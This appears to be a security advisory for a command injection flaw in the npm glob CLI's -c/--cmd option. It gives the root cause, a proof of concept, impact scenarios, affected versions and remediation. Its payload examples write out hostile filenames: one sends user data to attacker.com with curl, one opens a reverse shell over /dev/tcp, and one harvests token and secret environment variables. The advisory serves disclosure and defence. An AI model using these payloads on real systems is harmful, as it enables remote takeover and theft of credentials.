glob CLI: Command injection via -c/--cmd executes matches with shell:true

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:
1. User runs glob -c <command> <pattern>
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using shell: true
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

Affected Component:
- CLI Only: The vulnerability affects only the command-line interface
- Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
- Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:
- Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
- Any directory where attackers can control filenames (PR branches, archives, user uploads)
- CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:
- The echo command executes normally
- Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
- A new file injected_poc is created, proving command execution
- Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:
- Malicious PR adds files with crafted names to repository
- CI pipeline uses glob -c to process files (linting, testing, deployment)
- Commands execute in CI environment with build secrets and deployment credentials
- Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:
- Developer clones repository or extracts archive containing malicious filenames
- Local build scripts use glob -c for file processing
- Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems

Platform-Specific Risks:
- POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
- Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
- Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

• Ecosystem: npm
• Package name: glob
• Component: CLI only (src/bin.mts)
• Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
• Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
• Patched versions: 11.1.0and 10.5.0

Scope Limitation:
- Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
- CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

• Upgrade to [email protected], [email protected], or higher, as soon as possible.
• If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
• As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.